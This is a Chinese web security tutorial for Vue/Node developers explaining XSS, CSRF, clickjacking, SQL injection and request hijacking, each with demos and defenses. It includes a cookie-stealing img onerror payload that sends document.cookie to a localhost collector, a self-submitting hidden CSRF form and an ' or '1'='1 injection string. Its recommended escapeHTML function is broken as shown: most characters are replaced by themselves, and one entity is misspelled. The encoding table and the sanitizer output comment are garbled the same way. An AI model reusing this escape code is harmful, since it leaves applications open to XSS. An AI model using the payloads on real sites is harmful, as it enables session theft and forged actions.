web 安全
1. Web 安全
1.1. XSS
1.1.1. 描述
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。
跨站脚本攻击有可能造成以下影响:
- 利⽤虚假输⼊表单骗取⽤户个⼈信息。
- 利⽤脚本窃取⽤户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的⽂章或图⽚。
Vue 的模板语法 {{}}
是做过防止 XSS 攻击过滤的,不过 v-html
指令最终调用的是 innerHTML 方法将指令的 value 插入到对应的元素里。这就会导致造成 xss 攻击。当然 vue 官网也给出了友好提示: v-html
在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 XSS 攻击。只在可信内容上使用 v-html,永不用在用户提交的内容上。
1.1.2. Demo
<template>
<div class="app">
<div v-html="html"></div>
</div>
</template>
<script>
export default {
data() {
return {
html: `<img src="http://www.xxx.com" onerror="alert(123);var img = new Image();img.src='http://localhost:8080/?c='+document.cookie;" alt="">`,
};
},
};
</script>
1.1.3. 危害
基本上 javascript 能做的事,通过 xss 都能实现:
- 发送或拦截 ajax 请求
- 获取本地缓存数据,cookie 数据
- 伪造表单获取用户数据
- …
1.1.4. 防范
在处理输入时,以下内容都不可信:
- 来自用户的 UGC 信息
- 来自第三方的链接
- URL 参数
- POST 参数
- Referer(可能来自不可信的来源)
- Cookie(可能来自其他子域注入)
- 尽量避免使用
v-html
或者使用v-html
绑定的数据先进行敏感字符转码转义:
字符 | html 编码 |
---|---|
& | & |
< | < |
> | > |
" | " |
‘ | ' |
` | ` |
/ | / |
function escapeHTML(str) {
str = str.replace(/&/g, "&");
str = str.replace(/</g, "<");
str = str.replace(/>/g, ">");
str = str.replace(/"/g, "&quto;");
str = str.replace(/'/g, "'");
str = str.replace(/`/g, "`");
str = str.replace(/\//g, "/");
return str;
}
- HttpOnly Cookie
这是预防 XSS 攻击窃取⽤户 cookie 最有效的防御⼿段。Web 应 ⽤程序在设置 cookie 时,将其属性设为 HttpOnly,就可以避免该⽹⻚的 cookie 被客户端恶意 JavaScript 窃取,保护⽤户 cookie 信息。
// nodejs
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
- 白名单
富文本如果直接通过转义处理,会导致正常标签无法显示,可通过 xss 库自动化处理
npm i -S xss
const xss = require("xss");
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html);
1.1.5. 相关链接
1.2. CSRF
1.2.1. 描述
CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
一个典型的 CSRF 攻击有着如下的流程:
- 受害者登录 a.com,并保留了登录凭证(Cookie)。
- 攻击者引诱受害者访问了 b.com。
- b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带 a.com 的 Cookie。
- a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
- a.com 以受害者的名义执行了 act=xx。
- 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作。
1.2.2. Demo
<template>
<div>
<form
method="POST"
action="http://localhost:3000/update"
enctype="multipart/form-data"
style="display:none"
target="csrf"
ref="form"
>
<input type="hidden" name="cf2_emc" value="test" />
</form>
<iframe name="csrf" frameborder="0" style="display:none"></iframe>
</div>
</template>
<script>
export default {
mounted() {
this.$refs.form.submit();
},
};
</script>
1.2.3. 危害
- 利⽤⽤户登录态
- ⽤户不知情
- 冒充用户提交业务操作,而不是直接窃取数据
1.2.4. 防范
- 判断 referer 来源(缺陷:1.Https 不发送 referer;2.referer 可伪造)
- 验证码
- token 验证
1.2.5. 相关链接
1.3. 点击劫持 – Clickjacking
1.3.1. 描述
点击劫持(clickjacking)是一种在网页中将恶意代码等隐藏在看似无害的内容(如按钮)之下,并诱使用户点击的手段。该术语最早由雷米亚·格罗斯曼(Jeremiah Grossman)与罗伯特·汉森(Robert Hansen)于 2008 年提出。这种行为又被称为界面伪装(UI redressing)。
1.3.2. Demo
<!-- clickjacking.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<button onclick="alert(123)">123</button>
</body>
</html>
<template>
<div>
<div class="clickjacking" @click="handleClick">点击</div>
<iframe
src="http://localhost:8080/clickjacking.html"
frameborder="0"
></iframe>
</div>
</template>
<script>
export default {
methods: {
handleClick() {
alert(456);
},
},
};
</script>
<style>
.clickjacking {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
z-index: 999;
opacity: 0;
}
iframe {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
width: 100%;
height: 100%;
}
</style>
1.3.3. 危害
- 劫持用户操作
1.3.4. 防范
- X-FRAME-OPTIONS
X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头就是为了防御⽤ iframe 嵌套的点击劫持攻击。该响应头有三个值可选,分别是
- DENY,表示⻚⾯不允许通过 iframe 的⽅式展示
- SAMEORIGIN,表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
- ALLOW-FROM,表示⻚⾯可以在指定来源的 iframe 中展示
ctx.set("X-FRAME-OPTIONS", "DENY");
- JS ⽅式 (自从 HTML 5 为<iframe>标签新增了 sandbox 属性以来,这种防御措施就失效了)
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
1.3.5. 相关链接
1.4. SQL 注入
1.4.1. 描述
SQL 注入即是指 web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
1.4.2. Demo
最常见的 SQL 注入方式: 1' or '1' = '1
SELECT * from User WHERE username = 'yuany' AND password = '1' or '1' = '1'
1.4.3. 危害
欺骗服务器执行恶意的 SQL 命令
1.4.4. 防范
大部分都是基于一点:不信任任何外部输入。
- 对特殊字符的过滤和处理
1.4.5. 相关链接
1.5. 请求劫持
1.5.1. 描述
通过非常规手段使客户访问到无效数据
- DNS 劫持
修改设备 DNS,使本该指向 1.1.1.1 的 xxx.com 域名指向 2.2.2.2, 并正常返回伪造数据
- 内容劫持
通常情况下是网络运营商为了加快用户的访问速度和减少流量损耗而作的缓存处理,可能会导致返回数据异常
1.5.2. 防范
一般来说通过升级到 https 可防止类似情况发生.但是并不是说使用了 HTTPS 就可以高枕无忧了,因为如果你没有完全关闭 HTTP 访问的话,攻击方可以通过某些方式将 HTTPS 降级为 HTTP 从而实现劫持攻击